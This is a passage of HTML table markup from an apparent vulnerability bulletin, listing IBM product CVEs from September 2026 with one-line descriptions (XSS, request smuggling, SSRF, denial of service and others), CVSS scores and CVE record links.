&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15758&quot; target=&quot;_blank&quot;&gt;CVE-2026-15758&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Business Automation Workflow containers and traditional&lt;/td&gt;
&lt;td&gt;IBM Business Automation Workflow containers and traditional could allow an authenticated attacker to trigger restricted import actions due to missing authorization controls.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12742&quot; target=&quot;_blank&quot;&gt;CVE-2026-12742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--CICS TX Advanced&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server and WebSphere Application Server Liberty are affected by a virtual host bypass vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11549&quot; target=&quot;_blank&quot;&gt;CVE-2026-11549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--CICS TX Advanced&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 8.5, 9.0, and Liberty are vulnerable to HTTP request smuggling.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10841&quot; target=&quot;_blank&quot;&gt;CVE-2026-10841&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--CICS TX Advanced&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server and WebSphere Application Server Liberty are affected by an HTTP request smuggling vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11548&quot; target=&quot;_blank&quot;&gt;CVE-2026-11548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--CICS TX Advanced&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server and WebSphere Application Server Liberty are affected by an HTTP request smuggling vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11722&quot; target=&quot;_blank&quot;&gt;CVE-2026-11722&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cloud Pak for Business Automation&lt;/td&gt;
&lt;td&gt;IBM Cloud Pak for Business Automation 26.0.0 through 26.0.0 Interim Fix 001, 25.0.0 through 25.0.0 Interim Fix 005, 24.0.1 through 24.0.1 Interim Fix 008, and 24.0.0 through 24.0.0 Interim Fix 009 is vulnerable to an XPath injection vulnerability, which could allow an authenticated attacker to exfiltrate sensitive application data and/or determine the structure of the XML document.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11864&quot; target=&quot;_blank&quot;&gt;CVE-2026-11864&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cloud Pak for Business Automation&lt;/td&gt;
&lt;td&gt;IBM Cloud Pak for Business Automation is vulnerable to stored cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12749&quot; target=&quot;_blank&quot;&gt;CVE-2026-12749&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cloud Pak for Business Automation&lt;/td&gt;
&lt;td&gt;IBM Cloud Pak for Business Automation is vulnerable to stored cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12750&quot; target=&quot;_blank&quot;&gt;CVE-2026-12750&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cloud Pak for Business Automation&lt;/td&gt;
&lt;td&gt;IBM Cloud Pak for Business Automation could allow an authenticated user to cause a denial of service due to uncontrolled resource consumption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12759&quot; target=&quot;_blank&quot;&gt;CVE-2026-12759&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cloud Pak for Business Automation&lt;/td&gt;
&lt;td&gt;IBM Cloud Pak for Business Automation is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim&#039;s Web browser within the security context of the hosting site.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12751&quot; target=&quot;_blank&quot;&gt;CVE-2026-12751&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cloud Pak for Business Automation&lt;/td&gt;
&lt;td&gt;IBM Cloud Pak for Business Automation could allow a remote attacker to bypass authorization and invoke restricted endpoints due to improper validation of HTTP headers.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12758&quot; target=&quot;_blank&quot;&gt;CVE-2026-12758&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cognos Analytics&lt;/td&gt;
&lt;td&gt;IBM Cognos Analytics 12.0.4 through 12.0.4 FP2, and 12.1.0 through 12.1.3 FP1 could allow a remote attacker to obtain sensitive information, caused by the failure to properly enable HTTP Strict Transport Security. An attacker could exploit this vulnerability to obtain sensitive information using man in the middle techniques.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-56344&quot; target=&quot;_blank&quot;&gt;CVE-2024-56344&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cognos Analytics&lt;/td&gt;
&lt;td&gt;IBM Cognos Analytics 12.1.0 through 12.1.3 FP1, and 12.0.4 through 12.0.4 FP2 could allow an attacker on a shared network to obtain sensitive information caused by insecure network communication.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-33147&quot; target=&quot;_blank&quot;&gt;CVE-2025-33147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cognos Analytics&lt;/td&gt;
&lt;td&gt;IBM Cognos Analytics 12.1.0 through 12.1.3 FP1, and 12.0.4 through 12.0.4 FP2 allows a non-privileged user to edit their given name and surname to include malicious JavaScript code. When an administrator later accesses the user account management panel and views that user&#039;s permissions, the malicious JavaScript code is executed. This could result in the cookies from the administrator being compromised.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7884&quot; target=&quot;_blank&quot;&gt;CVE-2026-7884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Cognos Analytics&lt;/td&gt;
&lt;td&gt;IBM Cognos Analytics 12.1.0 through 12.1.3 FP1, and 12.0.4 through 12.0.4 FP2 stores sensitive information in source code could be used by an authenticated user in further attacks against the system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-36076&quot; target=&quot;_blank&quot;&gt;CVE-2025-36076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Common Licensing&lt;/td&gt;
&lt;td&gt;IBM Common Licensing Agent 9.0, Agent 9.0.0.1, Agent 9.0.0.2, ART 9.0, ART 9.0.0.1, and ART 9.0.0.2 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1025&quot; target=&quot;_blank&quot;&gt;CVE-2026-1025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Common Licensing&lt;/td&gt;
&lt;td&gt;IBM Common Licensing Agent 9.0, Agent 9.0.0.1, Agent 9.0.0.2, ART 9.0, ART 9.0.0.1, and ART 9.0.0.2 is vulnerable to cross-site scripting. This vulnerability allows an unauthenticated attacker to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1031&quot; target=&quot;_blank&quot;&gt;CVE-2026-1031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Common Licensing&lt;/td&gt;
&lt;td&gt;IBM Common Licensing Agent 9.0, Agent 9.0.0.1, Agent 9.0.0.2, ART 9.0, ART 9.0.0.1, and ART 9.0.0.2 is vulnerable to cross-site scripting. This vulnerability allows an unauthenticated attacker to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1037&quot; target=&quot;_blank&quot;&gt;CVE-2026-1037&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Common Licensing&lt;/td&gt;
&lt;td&gt;IBM Common Licensing Agent 9.0, Agent 9.0.0.1, Agent 9.0.0.2, ART 9.0, ART 9.0.0.1, and ART 9.0.0.2 performs input validation exclusively on the client side and fails to enforce the same restrictions on the server side. An attacker can modify requests to bypass validation controls and submit unauthorized values, potentially resulting in unintended application behavior.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19543&quot; target=&quot;_blank&quot;&gt;CVE-2026-19543&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Common Licensing&lt;/td&gt;
&lt;td&gt;IBM Common Licensing Agent 9.0, Agent 9.0.0.1, Agent 9.0.0.2, ART 9.0, ART 9.0.0.1, and ART 9.0.0.2 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1029&quot; target=&quot;_blank&quot;&gt;CVE-2026-1029&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Common Licensing&lt;/td&gt;
&lt;td&gt;IBM Common Licensing Agent 9.0, Agent 9.0.0.1, Agent 9.0.0.2, ART 9.0, ART 9.0.0.1, and ART 9.0.0.2 generates an error message that includes sensitive information about its environment, users, or associated data.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1030&quot; target=&quot;_blank&quot;&gt;CVE-2026-1030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--ContextForge MCP Gateway&lt;/td&gt;
&lt;td&gt;IBM ContextForge MCP Gateway &amp;lt;= v1.0.4 IBM mcp-context-forge could allow an authenticated user to bypass protection mechanisms due to incomplete recursive inspection of nested payload content.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11918&quot; target=&quot;_blank&quot;&gt;CVE-2026-11918&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Controller&lt;/td&gt;
&lt;td&gt;IBM Controller 11.0.0 through 11.0.1 FP7, and 11.1.0 through 11.1.3 FP1 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-1350&quot; target=&quot;_blank&quot;&gt;CVE-2025-1350&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Controller&lt;/td&gt;
&lt;td&gt;IBM Controller 11.0.0 through 11.0.1 FP7, and 11.1.0 through 11.1.3 FP1 could allow an authenticated user to bypass input validation due to improper validation of client-side input of file size.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-36178&quot; target=&quot;_blank&quot;&gt;CVE-2025-36178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Controller&lt;/td&gt;
&lt;td&gt;IBM Controller 11.0.0 through 11.0.1 FP7, and 11.1.0 through 11.1.3 FP1 transmits data in clear text that could allow an attacker to obtain sensitive information using man in the middle techniques.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-36421&quot; target=&quot;_blank&quot;&gt;CVE-2025-36421&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Db2&lt;/td&gt;
&lt;td&gt;IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a remote authenticated attacker to cause a denial of service due to a null pointer dereference.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16702&quot; target=&quot;_blank&quot;&gt;CVE-2026-16702&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Db2&lt;/td&gt;
&lt;td&gt;IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a remote authenticated attacker to cause a denial of service due to uncontrolled resource consumption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17463&quot; target=&quot;_blank&quot;&gt;CVE-2026-17463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Db2 Mirror for i&lt;/td&gt;
&lt;td&gt;IBM Db2 Mirror for i 7.4, 7.5, and 7.6 could allow a remote attacker to obtain sensitive information due to improper request validation.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17047&quot; target=&quot;_blank&quot;&gt;CVE-2026-17047&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager for SWIFT Services for Multiplatforms&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager for SWIFT Services for Multiplatforms 3.2.4.0 through 3.2.4.16 is vulnerable to cross-site scripting. This vulnerability allows an unauthenticated attacker to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-36147&quot; target=&quot;_blank&quot;&gt;CVE-2025-36147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow an authenticated user to execute arbitrary commands with low user privileges on the system due to improper validation of user supplied input.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81623&quot; target=&quot;_blank&quot;&gt;CVE-2026-81623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary JavaScript code due to improper neutralization of input during web page generation.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82890&quot; target=&quot;_blank&quot;&gt;CVE-2026-82890&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--i&lt;/td&gt;
&lt;td&gt;IBM i 7.6, 7.5, 7.4, and 7.3 could allow a local attacker to obtain ownership of arbitrary file system objects due to a time-of-check to time-of-use (TOCTOU) race condition.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18069&quot; target=&quot;_blank&quot;&gt;CVE-2026-18069&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--i&lt;/td&gt;
&lt;td&gt;IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote authenticated attacker to bypass security restrictions and access internal network services due to improper validation of FTP PORT and EPRT commands.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18869&quot; target=&quot;_blank&quot;&gt;CVE-2026-18869&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--i&lt;/td&gt;
&lt;td&gt;IBM i 7.6, 7.5, 7.4, and 7.3 could allow a local attacker to cause a denial of service due to improper validation of FTP authentication commands.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17262&quot; target=&quot;_blank&quot;&gt;CVE-2026-17262&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--i&lt;/td&gt;
&lt;td&gt;IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote unauthenticated attacker to gain access to sensitive information through session IP binding bypass in Navigator for i.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18065&quot; target=&quot;_blank&quot;&gt;CVE-2026-18065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--i&lt;/td&gt;
&lt;td&gt;IBM i 7.6, 7.5, 7.4, and 7.3 could allow a denial of service as a result of a buffer overflow in a PASE process. An authenticated attacker could leverage this to terminate their own process.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19280&quot; target=&quot;_blank&quot;&gt;CVE-2026-19280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--i&lt;/td&gt;
&lt;td&gt;IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote authenticated attacker to obtain sensitive information due to a race condition during the WebSocket handshake process.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18151&quot; target=&quot;_blank&quot;&gt;CVE-2026-18151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--i&lt;/td&gt;
&lt;td&gt;IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote attacker to obtain sensitive information due to improper validation of the WebSocket origin.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18251&quot; target=&quot;_blank&quot;&gt;CVE-2026-18251&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--i&lt;/td&gt;
&lt;td&gt;IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote authenticated attacker to place files into the file system with Navigator for i when they should be blocked by Navigator configuration. This could allow attackers to upload files onto the system to places the Navigator support did not intend, but only if the profile could already do that by itself.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18515&quot; target=&quot;_blank&quot;&gt;CVE-2026-18515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--i Access Family&lt;/td&gt;
&lt;td&gt;IBM i Access Family 1.1.2.0 through 1.1.9.15 IBM i Access Client Solutions could allow an authenticated user to execute arbitrary commands with normal user privileges on the system due to improper validation of user supplied input in a STRPCCMD CL command.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14275&quot; target=&quot;_blank&quot;&gt;CVE-2026-14275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--i Access Family&lt;/td&gt;
&lt;td&gt;IBM i Access Family 1.1.2.0 through 1.1.9.15 IBM i Access Client Solutions could allow an authenticated user to execute arbitrary commands with normal user privileges on the system due to improper validation of user supplied input in a malicious emulator macro RunProgram action.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14276&quot; target=&quot;_blank&quot;&gt;CVE-2026-14276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--i Access Family&lt;/td&gt;
&lt;td&gt;IBM i Access Family 1.1.2.0 through 1.1.9.15 could allow an authenticated user to execute arbitrary commands with normal user privileges on the system due to improper validation of user supplied input in a session file.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14277&quot; target=&quot;_blank&quot;&gt;CVE-2026-14277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.10.2 is vulnerable to server-side request forgery (SSRF). This may allow an unauthenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12765&quot; target=&quot;_blank&quot;&gt;CVE-2026-12765&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 is vulnerable to server-side request forgery (SSRF). This may allow an unauthenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12767&quot; target=&quot;_blank&quot;&gt;CVE-2026-12767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12766&quot; target=&quot;_blank&quot;&gt;CVE-2026-12766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.10.2 could allow a remote authenticated attacker to change the password of an account due to improper authentication.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
